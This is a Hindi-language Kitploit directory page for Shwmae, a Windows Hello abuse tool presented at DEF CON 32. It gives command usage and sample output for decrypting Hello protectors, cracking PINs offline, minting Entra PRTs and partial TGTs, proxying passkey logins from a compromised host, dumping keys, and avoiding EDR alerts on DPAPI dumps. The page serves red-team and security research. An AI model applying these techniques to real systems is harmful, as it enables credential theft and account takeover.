Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Shwmae | Kitploit
उपकरण/GitHubGitHub/ccob/shwmae
पोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubccob/shwmae

Shwmae

रिपॉजिटरी देखें
165131 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Shwmae

Shwmae (शुह-माई) एक Windows Hello दुरुपयोग उपकरण है जिसे DEF CON 32 के दौरान "Abusing Windows Hello Without a Severed Hand" वार्ता के भाग के रूप में जारी किया गया था। इस उपकरण का उद्देश्य एक विशेषाधिकार प्राप्त उपयोगकर्ता संदर्भ से Windows Hello का दुरुपयोग करना है।

root@kitploit:~
Shwmae 
Copyright (C) 2024 Shwmae

  enum        (Default Verb) Enumerate Windows Hello protectors, keys and credentials

  sign        Sign data using a Windows Hello protected certificate

  prt         Obtain an Entra PRT and partial TGT usable with Rubeus

  webauthn    Create a webserver to proxy WebAuthn requests from an attacking host

  dump        Dump Windows Hello protected keys when backed by software

  help        Display more information on a specific command.

  version     Display version information.

उपकरण में संचालन के कई मोड हैं।

गणना

जब कोई तर्क प्रदान नहीं किए जाते हैं, तो गणना डिफ़ॉल्ट मोड होती है; वैकल्पिक रूप से आप enum कमांड का उपयोग कर सकते हैं। गणना मोड उपलब्ध सभी Windows Hello कंटेनरों की गणना करेगा, और कंटेनर के भीतर सभी Windows Hello पंजीकृत कुंजियों और प्रोटेक्टरों की पुनरावर्ती रूप से गणना करेगा। ऐसे उदाहरणों में जहां होस्ट पर कोई TPM मौजूद नहीं है, PIN प्रोटेक्टर के लिए एक हैश उत्पन्न किया जाता है, जिसे hashcat का उपयोग करके ऑफ़लाइन क्रैक किया जा सकता है।

बायोमेट्रिक प्रोटेक्टर स्वचालित रूप से डिक्रिप्ट किया जाएगा, लेकिन PIN और Recovery प्रोटेक्टरों को क्रमशः /pin और /token तर्कों का उपयोग करके डिक्रिप्ट किया जा सकता है। उस कंटेनर के भीतर Windows Hello कुंजियों के दुरुपयोग की अनुमति देने के लिए प्रत्येक कंटेनर से केवल एक प्रोटेक्टर को डिक्रिप्ट करने की आवश्यकता होती है।

उदाहरण

root@kitploit:~
Shwmae

[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd

GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)

  Provider              : Microsoft Platform Crypto Provider
  Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
  Recovery Key          : Use /token argument to decrypt recovery key

  ** Protectors **

    Type           : Pin
    Pin Type       : Numeric
    Length         : 8
    Decrypted      : Supply /pin argument to attempt decryption

    Type           : Bio
    Encryption Type: Aes
    GCM Nonce      : cacf46896844d3f96a55fd8c
    GCM AuthData   : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
    GCM Tag        : f5d6d1c3e35f944038e03013851d6d69
    Decrypted      : True (Bio Key Correct)
    ExtPin         : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
    DecryptPin     : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
    SignPin        : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3

    Type           : Recovery
    IV             : 49b2c5b8416e5563387e10a8a3d9ae68

  ** Credentials **

    Resource         : WinBio Key Resource
    SID              : S-1-5-21-1003644063-402998240-3342588708-1111
    Protector Key    : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52

  ** Keys **

    Name             : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
    Key File         : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
    Azure Tenant Id  : de60a4fa-d583-4eb0-ab66-ce358af8279c
    Azure User       : [email protected]
    Azure kid        : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=

    Name             : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {36E18DBB-52AC-4198-BD34-55B3490A575C}
    Key File         : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
    FIDO Relay Party : github.com
    FIDO Public Key  : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
    FIDO Cred Id     : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
    FIDO User Id     : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
    FIDO User        : mary-gruber
    FIDO Display Name: mary-gruber
    FIDO Sign Count  : 2

    Name             : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {7418B315-A00B-4113-A0EC-5C51718D11C5}
    Key File         : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7

    Name             : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {696644C4-EA34-400C-99D2-8B5E38095AA6}
    Key File         : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7

PRT

PRT ऑपरेटिंग मोड किसी भी Entra-पंजीकृत Windows Hello कुंजियों का उपयोग करके prt कमांड के माध्यम से एक प्रारंभिक PRT उत्पन्न करने और मौजूदा PRT को नवीनीकृत करने की सुविधा प्रदान करता है। यदि टेनेंट में क्लाउड ट्रस्ट सक्षम है, तो क्लाउड TGT को डिक्रिप्ट किया जाता है और Rubeus का उपयोग करके ऑन-प्रिमाइसेस Active Directory के विरुद्ध उपयोगकर्ता के रूप में प्रमाणित करने के लिए उपयोग किया जा सकता है।

प्रारंभिक PRT उदाहरण

root@kitploit:~
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
[+] Successfully decrypted NGC key set from protector type Bio
    Transport Key    : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
    PRT              : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
    PRT Session Key  : AQCeykYwMRUg0d.....uOteU9zR8tCw
    PRT Random Ctx   : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
    PRT Derived Key  : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
    Partial TGT      : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==

PRT नवीनीकरण उदाहरण

PRT नवीनीकरण के लिए प्रारंभिक PRT अनुरोध से PRT और सत्र कुंजी आवश्यक होती हैं।

root@kitploit:~
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
    Transport Key    : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
    PRT              : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
    PRT Session Key  : AQCeykYwMRUg0d.....uOteU9zR8tCw
    PRT Random Ctx   : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
    PRT Derived Key  : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
    Partial TGT      : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==

WebAuthn

WebAuthn ऑपरेटिंग मोड webauthn कमांड के माध्यम से एक सरल वेब API स्थापित करता है, जो किसी अन्य होस्ट से ShwmaeExt वेब ब्राउज़र एक्सटेंशन से WebAuthn assertion अनुरोधों को स्वीकार करेगा।

एक बार जब WebAuthn HTTP लिसनर किसी समझौता किए गए होस्ट पर सेटअप हो जाता है, जो डिफ़ॉल्ट रूप से पोर्ट 8000 पर सुनता है, तो आप आक्रमण करने वाले ब्राउज़र में ShwmaeExt स्थापित कर सकते हैं। एक बार जब आप एक्सटेंशन के भीतर लिसनर URL सेट करते हैं, तो आप समझौता किए गए होस्ट से उपलब्ध किसी भी क्रेडेंशियल का उपयोग करके Passkey प्रमाणीकरण के माध्यम से लॉगिन कर सकते हैं। आप ShwmaeExt फ़ोल्डर के अंदर अनपैक्ड एक्सटेंशन पा सकते हैं।

उदाहरण

root@kitploit:~
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit

डंप

dump कमांड का उपयोग Software Key Storage प्रदाता द्वारा समर्थित Windows Hello समर्थित निजी कुंजियों को निकालने के लिए किया जा सकता है। आप इस मोड का उपयोग Platform Key Storage Provider द्वारा समर्थित कुंजियों को निकालने के लिए नहीं कर सकते।

उदाहरण

root@kitploit:~
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]

हस्ताक्षर

sign कमांड का उपयोग किसी विशिष्ट कुंजी के साथ मनमाने डेटा पर हस्ताक्षर करने के लिए किया जा सकता है। यह मोड उन परिदृश्यों में उपयोगी हो सकता है जहां उपकरण के भीतर कोई विशिष्ट एकीकरण मौजूद नहीं है।

--key-name तर्क का उपयोग उपयोग के लिए विशिष्ट Windows Hello कुंजी युग्म को लक्षित करने के लिए किया जाता है, और --data तर्क का उपयोग हस्ताक्षर की गणना करने के लिए किया जाता है। डेटा को Base64 एन्कोडेड स्ट्रिंग के रूप में प्रस्तुत किया जाना चाहिए, लेकिन हस्ताक्षर उत्पन्न करने से पहले स्ट्रिंग को पहले बाइनरी में डिकोड किया जाता है। बाइनरी हस्ताक्षर को Base64 में परिवर्तित किया जाता है और कंसोल पर मुद्रित किया जाता है।

उदाहरण

root@kitploit:~
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
[+] Successfully decrypted NGC key set from protector type Bio
[+] Success:
MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==

DPAPI

कुछ EDR, LSA सीक्रेट्स को पढ़कर DPAPI कुंजियों को डंप किए जाने पर अलर्ट करेंगे। यदि आपने अन्य माध्यमों से SYSTEM खाते की DPAPI कुंजियाँ प्राप्त की हैं, तो इन्हें क्रमशः --system-dpapi और --machine-dpapi कुंजियों के माध्यम से एक 16 बाइट कुंजी (32 वर्णों) को दर्शाने वाले हेक्स स्ट्रिंग का उपयोग करके इनपुट किया जा सकता है।

टूल डाउनलोड करें